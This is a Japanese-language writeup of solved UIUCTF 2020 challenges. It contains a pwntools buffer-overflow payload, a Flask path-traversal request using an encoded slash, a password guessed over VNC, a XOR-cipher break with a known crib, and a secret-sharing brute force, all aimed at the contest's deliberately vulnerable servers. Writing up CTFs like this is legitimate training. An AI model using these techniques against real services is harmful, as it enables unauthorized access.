UIUCTF 2020 Writeup

この大会は2020/7/18 10:00(JST)~2020/7/20 10:00(JST)に開催されました。
今回もチームで参戦。結果は1530点で387チーム中20位でした。
自分で解けた問題をWriteupとして書いておきます。

Spoockies (Warmup 20)

$ file pwn-warmup 
pwn-warmup: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=31aaa64fbf0494f6958d5a8ec60dd3147afda5d5, not stripped

Ghidraでデコンパイルする。

undefined4 main(void)

{
  undefined *puVar1;
  
  puVar1 = &stack0x00000004;
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("This is UIUCTF PWN Warmup, what could possibly be happening under here hmm...");
  vulnerable(puVar1);
  return 0;
}

void vulnerable(void)

{
  char local_24 [16];
  int local_14;
  int local_10;
  
  __x86.get_pc_thunk.ax();
  local_10 = 0x12345678;
  local_14 = 0x12345678;
  gets(local_24);
  if ((local_10 != 0x12345678) && (local_14 == 0x12345678)) {
    give_flag();
  }
  return;
}

void give_flag(void)

{
  FILE *__stream;
  int iVar1;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Couldn\'t open flag file!");
  }
  else {
    while( true ) {
      iVar1 = fgetc(__stream);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  fclose(__stream);
  return;
}

BOFでlocal_14の値は変えずにlocal_10だけ変えれば、フラグが表示される。

from pwn import *

p = remote('chal.uiuc.tf', 2003)
#p = process('./pwn-warmup')

data = p.recvline().rstrip()
print data
payload = 'a' * 16 + p32(0x12345678) + p32(0x12345677)
print payload
p.sendline(payload)
data = p.recv()
print data

実行結果は以下の通り。

[+] Opening connection to chal.uiuc.tf on port 2003: Done
This is UIUCTF PWN Warmup, what could possibly be happening under here hmm...
aaaaaaaaaaaaaaaaxV4\x12V4\x12
uiuctf{stupid_flag_i_just_fell_out_of_the_bag}
[*] Closed connection to chal.uiuc.tf port 2003
uiuctf{stupid_flag_i_just_fell_out_of_the_bag}

Tom Nook Has Stonks (Warmup 20)

添付のコードの処理は以下の通り。

・guess: 数値入力
・guessから2410619(0+1337~1233+133の合計)を引く
・guess: guessの16進数の後半4バイト+前半4バイト
・guess: 10進数に変換
・tax4が18~28で2飛びで以下を計算
 guess = int((str(hex(guess)[2:])[::-1]),16) - tax4 * 1000
・tax5が0~995で5飛びで以下を計算
 ・tax4が10~30で10飛びで以下を計算
  guess -= tax5 * tax4
・guess: 16進数に変換
・guess: 2バイトごとに数値にした配列
・guess[1] /= 2
・guess[0] *= 3
・guess[1] -= 18
・guess[3] -= 30
・guess[0] += int((ord('j') - ord('J')) / (ord('E') - ord('e')))
・guess[2] += ord('b')
・guess[0] += int((ord('g') - ord('G')) / (ord('z') - ord('Z')) * ord('c') - ord('a'))
・guess = 各要素の16進数配列を逆順
・guess[3] = hex(int(guess[3],16) + 32)
・final = guessの各要素を10進数にして、ASCIIとして文字にする。
 →Lmaoの場合、入力した数字をフラグ形式にしたものがフラグ

一つ一つ逆算する。

final = 'Lmao'

guess = [ord(c) for c in final]
guess[3] -= 32
guess = guess[::-1]
guess[0] -= int((ord('g') - ord('G')) / (ord('z') - ord('Z')) * ord('c') - ord('a'))
guess[2] -= ord('b')
guess[0] -= int((ord('j') - ord('J')) / (ord('E') - ord('e')))
guess[3] += 30
guess[1] += 18
guess[0] /= 3
guess[1] *= 2
guess = [hex(g)[2:].zfill(2) for g in guess]
guess = int(''.join(guess), 16)
for tax5 in range(0,1000,5):
    for tax4 in range(10,40,10):
        guess += tax5 * tax4
for tax4 in range(28, 16, -2):
    guess = guess + tax4 * 1000
    guess = int(hex(guess)[2:].rstrip('L')[::-1], 16)
guess = hex(guess)[2:]
guess = str(guess[4:8]) + str(guess[0:4])
guess = int(guess, 16)
for tax3 in range(0, 1234):
    guess += 1337 + tax3

flag = 'uiuctf{%d}' % guess
print flag
uiuctf{1293869277}

K.K's Mixtape (Warmup 20)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。
f:id:satou-y:20200724082841p:plain

uiuctf{4ud4c17y_15_c00l_1425}

Kernel::Time_To_Start (Kernel Exploitation 100)

VNC接続し、ログインする問題。usernameはsandb0xで、passwordは4文字で、すべてアルファベット小文字、pから始まる。passwordは推測して、sandb0x / pwnyでログインしてみたらログインできて、フラグが書いてあった。
f:id:satou-y:20200724083141p:plain

uiuctf{t1ming_s1d3_chann3l_g4ng}

security_question (Web 100)

問題のURLのページに以下のコードが書いてあり、hidden_poem.txtにフラグが書いてあるとのこと。

@app.route('/getpoem')
def get_poem():
    poemname = request.args.get('name')

    if not poemname:
        return 'Please send a name query:\n' + str(os.listdir('poems')), 404

    poemdir     = os.path.join(os.getcwd(), 'poems')
    poempath    = os.path.join(poemdir, poemname) 

    if '..' in poemname:
        return 'Illegal substring detected.', 403
    
    if not os.path.exists(poempath):
        return 'File not found.', 404

    return send_file(poempath)
$ curl https://security.chal.uiuc.tf/getpoem
Please send a name query:
['rise.txt', 'daddy.txt', 'tyger.txt', 'road.txt']

ディレクトリトラバーサルをしたいが、..は使えない。

$ curl https://security.chal.uiuc.tf/getpoem?name=%2fhidden_poem.txt
uiuctf{str_join_is_weird_in_python_3}
uiuctf{str_join_is_weird_in_python_3}

Raymonds Recovery (Forensics 100)

FTK Imagerで開くと、[root]直下にファイルがたくさんあることがわかるので、エクスポートする。JPGファイルとかがヘッダがない状態になっている。
とりあえず、何のファイルのヘッダがないものなのかをバイナリエディタで見る。JPG, PDF, PNGの場合があるので、修復する。

import os

INPUT_DIR = 'files/'
OUTPUT_DIR = 'output/'

files = os.listdir(INPUT_DIR)
for file in files:
    with open(INPUT_DIR + file, 'rb') as f:
        data = f.read().rstrip('\x00')
    if data.endswith('EOF\x0a'):
        data = '%PDF' + data
        with open(OUTPUT_DIR + file + '.pdf', 'wb') as f:
            f.write(data)
    elif data.endswith('EOF\x0d\x0a'):
        data = '%PDF' + data
        with open(OUTPUT_DIR + file + '.pdf', 'wb') as f:
            f.write(data)
    elif data.endswith('\xff\xd9'):
        if not data.startswith('\xff\xd8\xff'):
            data = '\xff\xd8\xff' + data
            with open(OUTPUT_DIR + file + '.jpg', 'wb') as f:
                f.write(data)
        else:
            with open(OUTPUT_DIR + file + '.jpg', 'wb') as f:
                f.write(data)
    elif data.endswith('IEND\xae\x42\x60\x82'):
        data = '\x89PNG\x0d\x0a\x1a\x0a' + data
        with open(OUTPUT_DIR + file + '.png', 'wb') as f:
            f.write(data)

修復したファイルの中にフラグが書いてある画像があった。
f:id:satou-y:20200724084408p:plain

uiuctf{everyb0dy_l0ves_raym0nd}

isabelles_file_encryption (Crypto 100)

コードから暗号化処理は以下のようになっていることがわかる。

・平文の各文字について1ビットシフトしたものとXOR鍵8バイト(パスワード)で暗号化している。
・平文には"Isabelle"が含まれている。

暗号化データの先頭から順に8バイトを復号した結果が"Isabelle"になるパスワードを算出し、その場合にフラグ文字列が入るものをブルートフォースで探す。

def decrypt(ciphertext, password):
    remove_spice = lambda b: 0xff & ((b >> 1) | (b << 7))
    plaintext = ''
    for i in range(len(ciphertext)):
        code = ord(ciphertext[i]) ^ ord(password[i%len(password)])
        code = remove_spice(code)
        plaintext += chr(code)
    return plaintext

def get_password(plaintext, ciphertext, index):
    add_spice = lambda b: 0xff & ((b << 1) | (b >> 7))
    password = ''
    for i in range(8):
        code = add_spice(ord(plaintext[i])) ^ ord(ciphertext[i])
        password += chr(code)
    password = password[8 - index % 8:] + password[:8 - index % 8]
    return password

with open('blackmail_encrypted', 'rb') as f:
    ct = f.read()

crib = 'Isabelle'

for i in range(len(ct) - len(crib) + 1):
    password = get_password(crib, ct[i:i+8], i)
    pt = decrypt(ct, password)
    if 'uiuctf' in pt:
        print '[+] index =', i
        print '[+] password =', password
        print pt
        break

実行結果は以下の通り。

[+] index = 26013
[+] password = iSaBelLE

        :

You docile, old raccoon. I have finally found the secret sauce behind your nefarious shop.

For far too long I, Isabelle, have suffered under your horrendous prices. Your reign of terror comes to an end.

For you see, as the town's loyal assistant, I have direct access to all your financials.

I have found evidence that you have been siphoning bells from the citizens.

As you can see, the start of this file is picture proof in the form of half a JPEG in bytes.

I, Isabelle, put the other half at the end.

It's totally not to try to trick online repeated XOR solvers. I, Isabelle, am very smart!

Anyways, I'm gonna need you to give me a lot of those bells or I report you to the Mayor.

You can take this flag as a sign I'm being serious: uiuctf{winner_winner_raccoon_dinner}



Thanks!

        :
uiuctf{winner_winner_raccoon_dinner}

coelacanth_vault (Crypto 300)

$ nc chal.uiuc.tf 2004
Hi, and welcome to the virtual Animal Crossing: New Horizon coelacanth vault!
There are 5 different cryptolocks that must be unlocked in order to open the vault.
You get one portion of each code for each coelacanth you have caught, and will need to use them to reconstruct the key for each lock.
Unfortunately, it appears you have not caught enough coelacanths, and thus will need to find another way into the vault.
Be warned, these locks have protection against brute force; too many wrong attempts and you will have to start over!

How many coelacanth have you caught? 9
Generating key for lock 0, please wait...
Generated!
Here are your key portions:
[(152, 197), (72, 163), (57, 179), (129, 157), (28, 173), (99, 199), (226, 251), (117, 223), (152, 227)]
Please input the key: 

サーバの処理概要は以下の通り。

num_shares: 9以下の数値を指定

5回以下を繰り返し
・secret, shares = create_key(THRESHOLD=10, TOTAL=15)
 ・seq: 15個の8ビット素数の配列(ソート)
  ※全部で8ビットの素数は23個ある。
   131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251
 ・alpha: seqの先頭10個の積
 ・beta: seqの末尾9個の積
 ・alphaがbetaより大きい場合(小さい場合は生成しなおし)
  ・secret: beta~alphaランダム整数
  ・shares: secret % numとnumのペアの配列
  ・secrec、sharesを返却
・r_secret = construct_key(random.sample(shares, THRESHOLD=10))
・secret == r_secretのチェック
・num_sharesの数だけsharesを表示

・250回以下を繰り返し
 ・n_secret: 数値入力
  →secretを当てる(250回以内)

9個表示されるが、正しいsecretを求めるにはもう一つ必要。表示されていない8ビット素数で総当たりで求める。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

NUM_LOCKS = 5
NUM_TRIES = 250

prod = lambda n: reduce(lambda x, y: x*y, n)

def construct_key(shares):
    glue = lambda A, n, s=1, t=0, N=0: (n < 2 and t % N or glue(n, A % n, t, s - A//n * t, N or n), -1)[n < 1]
    mod = prod([m for s, m in shares])
    secret = sum([s * glue(mod//m, m) * mod//m for s, m in shares]) % mod
    return secret

primes = [131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193,
    197, 199, 211, 223, 227, 229, 233, 239, 241, 251]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.uiuc.tf', 2004))

data = recvuntil(s, '? ')
print data + '9'
s.sendall('9\n')

for lock_num in range(NUM_LOCKS):
    data = recvuntil(s, ':\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data
    shares = eval(data)
    share_primes = [share[1] for share in shares]
    for p in primes:
        if p not in share_primes:
            plus_prime = p
            break
    for num_attempts in range(NUM_TRIES):
        plus_share = [(num_attempts, plus_prime)]
        secret = construct_key(shares + plus_share)

        data = recvuntil(s, ': ')
        print data + str(secret)
        s.sendall(str(secret) + '\n')

        data = recvuntil(s, '\n').rstrip()
        print data
        if data.startswith('Lock'):
            break

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Hi, and welcome to the virtual Animal Crossing: New Horizon coelacanth vault!
There are 5 different cryptolocks that must be unlocked in order to open the vault.
You get one portion of each code for each coelacanth you have caught, and will need to use them to reconstruct the key for each lock.
Unfortunately, it appears you have not caught enough coelacanths, and thus will need to find another way into the vault.
Be warned, these locks have protection against brute force; too many wrong attempts and you will have to start over!

How many coelacanth have you caught? 9
Generating key for lock 0, please wait...
Generated!
Here are your key portions:
[(12, 199), (47, 149), (139, 197), (47, 173), (162, 211), (168, 179), (127, 239), (7, 137), (36, 227)]
Please input the key: 9363193076599820223704
Key incorrect. You have 250 tries remaining for this lock.
Please input the key: 21845192614703784394380
Key incorrect. You have 249 tries remaining for this lock.
Please input the key: 34327192152807748565056
Key incorrect. You have 248 tries remaining for this lock.
        :
Please input the key: 3122193307547838138366
Lock 0 unlocked with 65 failed attempts!
Generating key for lock 1, please wait...
Generated!
Here are your key portions:
[(95, 157), (58, 191), (209, 233), (14, 149), (55, 223), (214, 229), (113, 139), (149, 197), (242, 257)]
Please input the key: 7951128200770174371308
Key incorrect. You have 250 tries remaining for this lock.
        :
Please input the key: 2339085545640217169063
Lock 1 unlocked with 16 failed attempts!
Generating key for lock 2, please wait...
Generated!
Here are your key portions:
[(237, 251), (35, 211), (143, 229), (18, 173), (44, 193), (3, 191), (2, 151), (66, 227), (62, 181)]
Please input the key: 38462509491395574583335
Key incorrect. You have 250 tries remaining for this lock.
        :
Please input the key: 15429480447093626001879
Lock 2 unlocked with 4 failed attempts!
Generating key for lock 3, please wait...
Generated!
Here are your key portions:
[(161, 173), (81, 157), (130, 227), (185, 239), (21, 137), (91, 257), (70, 193), (26, 179), (57, 151)]
Please input the key: 16223079724549923683921
Key incorrect. You have 250 tries remaining for this lock.
        :
Please input the key: 4043760736124353106516
Lock 3 unlocked with 38 failed attempts!
Generating key for lock 4, please wait...
Generated!
Here are your key portions:
[(213, 223), (110, 229), (40, 257), (7, 233), (105, 131), (18, 211), (142, 149), (148, 191), (234, 241)]
Please input the key: 9323223743359497746050
Key incorrect. You have 250 tries remaining for this lock.
        :
Please input the key: 4105725297510172042753
Lock 4 unlocked with 131 failed attempts!
Opening vault...
Looks like the vault has already been emptied :( however, you can have this flag instead: uiuctf{small_oysters_expire_quick}
uiuctf{small_oysters_expire_quick}

Feedback Survey (Misc 20)

アンケートに答えたら、フラグが表示された。

uiuctf{your_input_is_important_to_us}